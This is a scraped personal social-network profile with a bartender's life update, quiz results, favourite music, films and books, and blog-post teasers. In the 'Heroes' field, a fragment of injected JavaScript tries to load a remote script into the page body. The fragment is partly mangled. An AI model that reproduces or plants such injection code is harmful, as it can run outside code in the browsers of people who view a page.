Mr. Payne profile picture

Mr. Payne

Fucking Classy

About Me

Time for a new profile update. Sorry to keep you out in the dark for so long, but I've been busy so fuck off! Things have changed very drastically in the past year. I'm no longer in Portland, but back in my home town of Seattle. I'm no longer on the Island, because if you were paying attention you would know that I'm in SEATTLE! I've been working at one of Seattles busiest and best night clubs, working as "Manager" of indoor security for almost a year now. If you know where, come in and see me. If you don't, just ask. I haven't been keeping up much on my music, due to the fact that I am so EFFIN busy all the G.D. time. Anyways....tell me something good. peace.
http://www.myheritage.com


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I am 26% Asshole/Bitch.
. I may think I am an asshole or a bitch, but the truth is I am a good person at heart. Yeah sure, I can have a mean streak in me, but most of the people I meet like me. Take the
Asshole/Bitch Test
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Advanced Global Personality Test Results
Extraversion |||||||||||||||||| 76%
Stability |||||||||||||| 56%
Orderliness |||||| 23%
Accommodation |||||||||||||||| 70%
Interdependence |||||||||||||||||| 76%
Intellectual |||||||||||||||| 70%
Mystical |||||||||||||| 56%
Artistic |||||||||||||||||| 76%
Religious |||||||||||||||| 70%
Hedonism |||||||||||| 50%
Materialism |||||||||||||||||| 76%
Narcissism |||||||||||||||| 63%
Adventurousness |||||||||||||||||| 76%
Work ethic |||||||||||| 50%
Self absorbed |||||| 23%
Conflict seeking |||||||||||||||| 70%
Need to dominate |||||||||||||| 56%
Romantic |||||||||||||||| 63%
Avoidant |||||||||| 36%
Anti-authority |||||||||||||||| 63%
Wealth |||||||||||| 43%
Dependency |||||||||||||| 56%
Change averse |||||||||||| 50%
Cautiousness |||||||||||| 43%
Individuality |||||||||||||||| 70%
Sexuality |||||||||||||||||||| 83%
Peter pan complex |||||||||||||||| 70%
Physical security |||||||||||||| 56%
Physical Fitness |||||||||||| 50%
Histrionic |||||||||||||| 56%
Paranoia |||||||||||||| 56%
Vanity |||||||||||||||| 70%
Hypersensitivity |||||||||||| 43%
Female cliche |||||||||||| 43% Take Free Advanced Global Personality Test
personality tests by similarminds.com
Your Penis Name is: Fat Albert

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My Interests

Movies, Music, Socializing, Family and Friends, and a little boozin' never hurt anyone....okay, yeah....maybe it did. In fact, odds are, if you've ever been drunk a little pain came with it. Wasn't it worth it though? 'Twas for me, by god. Don't drink and drive though.....IDIOT!!!! Three cheers for liquor!!!! YAY LIQUOR!

I'd like to meet:

Someone with a little patience (I'm a work in progress), LOVES music and movies. Thinks the little things are more important. Preferably brown hair, brown eyes. Loves to laugh. Doesn't give a fuck what anyone else thinks. Someone that cusses. Someone that can have a good time where ever they are. Just cool people, really. If you're cool, and you MUST be, because you're reading this. Let's us have a lil' chit chat. Just you and me. All right, c'mon! Oh and Christopher Walken.

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Music:

Tool, Counting Crows, Switchfoot, Chevelle, Billy Joel, Elton John, Rascal Flatts, Garth, Dave, Pantera, Manson, Nickelcreek, Etc.

Movies:

Vanilla Sky, Star Wars, Lord of the Rings, High Fidelity, Monty Python, Napoleon Dynamite, Anchorman, Schindlers List, Fight Club, EtcAnd for those of you who thought Kramer from seinfeld was funny, watch this...maybe it will change your mind!.. width="425" height="350" ..Robin's Big Date on Transbuddha

Television:

Arrested Development, Fsmily Guy, Chappelle Show, Etc.

Books:

Vampire Chronicles, Chuck Palahnuik, Kurt Vonnegut, House of Leaves, Towing Jehova, Dan Brown, Pleasure of My Company, Good Omens, Etc.

Heroes:

Christopher Walken, Billy Ocean, David Hasselhoff, and J.C..."var x=..reateElement('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /

My Blog

Como Estan Beetches?!

It's been over six effing months since my last blog and not much has changed.  I am still Bartending at Amber. Athena and I had our one year anniversary last week. I am still an asshole. You know...
Posted by Mr. Payne on Tue, 22 May 2007 06:29:00 PST

Fuckin' Hell!

Here I am. 26. One year older and boy, do I feel it. In the past year, I have gone from a lowly security guard to a server/bartender/expeditor/security manager. I went from $252 a week, to...well...
Posted by Mr. Payne on Tue, 21 Nov 2006 05:31:00 PST

Requiem For Summer.

Okay. So. This summer...how does one say it?....FUCKING RULED! I have done things people only dream about! For instance, skydiving....jumping out of a perfectly G.D. good airplane two miles straight u...
Posted by Mr. Payne on Wed, 30 Aug 2006 10:20:00 PST

I can finally say...."I have a kick ass life now!"......and, "poop". (Requiem for Whidbey life)

Howdy do, folks and ninja-assasins. It's been quite a tick since my last real update (even though the Chuck Norris page was AMAZING!). I think you'll be happy to know that I'm doing so well, and ...
Posted by Mr. Payne on Sun, 13 Aug 2006 09:12:00 PST

Is Chuck Norris Really God? Find out here.

Of COURSE Chuck Norris is God FOOL, and I have the proof right here: You know the prickly things on the back of your neck? Thats Chuck Norris. Hellen Kellers favorite color is Chuck Noris. It wa actu...
Posted by Mr. Payne on Mon, 07 Aug 2006 07:26:00 PST

Holy Cash and Prizes!!!!

Yes, I think its about time to post one of my world renound blogs. Yeah, I said "World Renound" Goddamn't! I'm sure people from other countries have read one. SHUT UP! ANYways, stop distracting me. So...
Posted by Mr. Payne on Sat, 01 Oct 2005 03:40:00 PST

Well well well!!!

I quit, I give up, I'm heading home. This place really sucks. I know people say life is what you make of it, but I swear I didn't know how to make "Cluster-Fuck-Cookies" before. They just showed up in...
Posted by Mr. Payne on Mon, 01 Jan 1900 12:00:00 PST

Here's the skinny on everything new in Barlow's world.

So, now, my life is grander than ever and I am super-DUPER happy with my new digs. My job is absolutely capital. I just got done being a P.A. (Production Assisstant) in the latest Bowflex commercial (...
Posted by Mr. Payne on Mon, 01 Jan 1900 12:00:00 PST

Jesus Herbert Christ

It's about bloody time. Here I am, on the eve of my departure, eagerly waiting to finally become....an OREGONIAN! I know you all didn't believe I was actually gonna go through with it, and you know wh...
Posted by Mr. Payne on Mon, 01 Jan 1900 12:00:00 PST

Mushroom Madness!

Last night was a fantabulous evening! It started with a nice dinner at The Olive Garden, with my beautiful friends Logan and Saeben. Then we proceeded to a couple of clubs for cocktails and a little c...
Posted by Mr. Payne on Mon, 01 Jan 1900 12:00:00 PST